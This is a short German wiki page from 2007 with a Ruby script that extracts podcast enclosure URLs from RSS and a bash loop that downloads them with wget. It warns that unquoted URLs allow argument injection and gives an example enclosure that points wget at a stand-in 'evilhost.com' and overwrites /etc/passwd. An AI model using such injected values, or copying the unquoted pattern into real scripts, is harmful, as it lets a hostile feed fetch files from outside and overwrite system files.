Podcast-fetching

Aus C3D2
Version vom 5. Juni 2007, 12:24 Uhr von Astro (Diskussion | Beiträge) (Syntax highlightning)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen
Die druckbare Version wird nicht mehr unterstützt und kann Darstellungsfehler aufweisen. Bitte aktualisiere deine Browser-Lesezeichen und verwende stattdessen die Standard-Druckfunktion des Browsers.

Damit im Office2 keine Bandbreite verschenkt wird, während niemand da ist, soll Aromaster ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt.

podcast-enclosures.rb

#!/usr/bin/env ruby
require 'rexml/document'
if ARGV.size != 1
  puts "Usage: #{$0} <podcast.rss>"
  exit
end
file = File.new(ARGV[0])
REXML::Document.new(file).root.each_element("//enclosure") { |e|
  puts e.attributes['url']
}

fetch_radiochaotica.sh

#!/usr/bin/env bash
WGETFLAGS='-c'
cd /home/astro/public_html/radiochaotica/
wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml
for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do
	wget $WGETFLAGS $url
done
rm radiochaotica.rss

Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.:

<enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" />
Rübÿ Spëëd Mëtäl Cödïng
Coders: Astro | Conny | Sven